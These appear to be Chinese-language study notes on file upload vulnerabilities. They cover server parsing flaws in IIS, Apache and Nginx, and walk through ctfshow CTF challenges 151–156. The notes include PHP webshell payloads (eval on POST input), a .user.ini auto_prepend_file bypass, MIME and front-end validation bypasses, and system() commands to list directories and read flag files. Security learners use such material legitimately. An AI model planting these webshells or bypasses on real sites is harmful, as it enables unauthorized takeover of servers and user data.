文件上传
参考:https://www.cnblogs.com/chu-jian/p/15553328.html
原理
由于网站在文件上传的地方过滤不严,让攻击者可以任意上传如带有攻击性的文件
知识点
后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)
如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门
如果要图片后缀解析脚本代码,一般会利用包含漏洞或解析漏洞,还有.user.ini&.htaccess
危害
可以通过这个漏洞上传后门文件,webshell,可以直接获取网站权限,然后获取服务器的提权,获取内网权限,或去用户信息等等。属于高危漏洞。
查找漏洞的思路:
黑盒
1、目录查找:通过目录扫描获取到文件上传地址,看网站有没有文件上传功能,比如会员中心上传头像等等。
(1)字典目录扫描探针文件上传构造地址
(2)字典目录扫描探针编辑器目录构造地址
2、功能查找:寻找一切存在文件上传的功能应用
(1)个人用户中心是否存在文件上传功能
(2)后台管理系统是否存在文件上传功能
白盒
有了源码,通过代码分析,本地测试。
白盒看三点,中间件,编辑器,功能代码
1、中间件直接看语言环境常见搭配
2、编辑器直接看目录机构或搜索关键字
3、功能代码直接看源码应用或搜索关键字
危害
可以通过这个漏洞上传后门文件,webshell,可以直接获取网站权限,然后获取服务器的提权,获取内网权限,或去用户信息等等。属于高危漏洞。
修复
分类
中间件解析
文件上传的思路之一,针对网站的中间件爆出的解析漏洞进行文件上传
1.IIS6.0版本
(1) 当建立.asa、.asp格式的文件夹时,其目录下的任意文件都将被IIS当作为asp文件解析,如x.asp/x.jpg,x.jpg就会被当作asp解析 (2) 当上传文件.asp;*.jpg IIS6.0会将文件当做asp文件解析,如x.asp;.x.jpg,x.jpg就会被当作asp解析
2.apache低版本(2.x)
如果对方中间件是apache属于低版本,我们可以利用文件上传,上传一个不识别的文件后缀,利用解析漏洞规则成功解析文件,其中的后门代码被执行。例如:x.php.aaa.bbb.ccc.ddd,可以被当作php文件进行解析,从最后一个.ddd开始,apache不认识,就往前走,一直到.php,这样即绕过了验证,有可以进行解析。
3.apache换行解析漏洞(2.4.0--2.4.29)
在解析PHP时,1.php\x0A(或修改后的hex为0a或文件名+%0A)将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
换行解析案例:CVE-2017-15715
4.Nginx低版本、IIS7.x
上传可以上传的文件,在文件地址后加上/x.php,可以让文件以php代码去执行。
5.Nginx文件名逻辑(0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7)
我们只需要上传一个空格结尾的文件,即可使PHP解析
nginx.conf配置不当
由此可知,该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
案例:CVE-2013-4547
编辑器
一些网站会引用编辑器实现文件上传,去网上找爆出的漏洞来实现
waf绕过
遇到不同的waf找不同的方法
实操案例
ctfshow文件上传151-170
参考:https://blog.csdn.net/weixin_51614272/article/details/122968083
上传成功后的命令:
1=system("ls /"); //查找根目录
1=system("ls ./"); //查找当前目录
1=system("ls ../"); //查找上一级目录
1=system("tac ../flag.php"); //打印上一级目录的falg.php
1=system("cp fla?.php 1.txt");//将所有fla?.php文件复制到1.txt
1=system("cp f*.php 1.txt");//将所有f*.php文件复制到1.txt,*代表多个字母
151
js前端验证 直接修改js即可
152
MIME类型content-type验证 抓包修改为图片类型 或者将后缀改为php即可
常见的MIME类型:
超文本标记语言文本:.html——>text/html xml文档:.xml——>text/xml XHTML文档:.xhtml——>application/xhtml+xml 普通文本:.txt——>text/plain RTF文本:.rtf——>application/rtf png图片: .png——>image/png
153
.user.ini原理 :https://www.cnblogs.com/NineOne/p/14033391.html
.user.ini:auto_prepend_file=test.png test.png:<?php eval($_POST[x]);?>
当前目录里面有php文件的时候,可以运用ini配置文件进行配置这个php文件,在本题中的upload目录下有一个index.php文件,上传了
154-156
154对php过滤 利用以下
JS验证+user.ini+短标签
<? echo '123';?> //前提是开启配置参数short_open_tags=on
<?=(表达式)?> //不需要开启参数设置
<% echo '123';%> //前提是开启配置参数asp_tags=on
<script language=”php”>echo '1'; </script> //不需要修改参数开关
payload:
.user.ini:auto_prepend_file=test.png
test.png:<?=eval($_POST[x]);?>
Comments NOTHING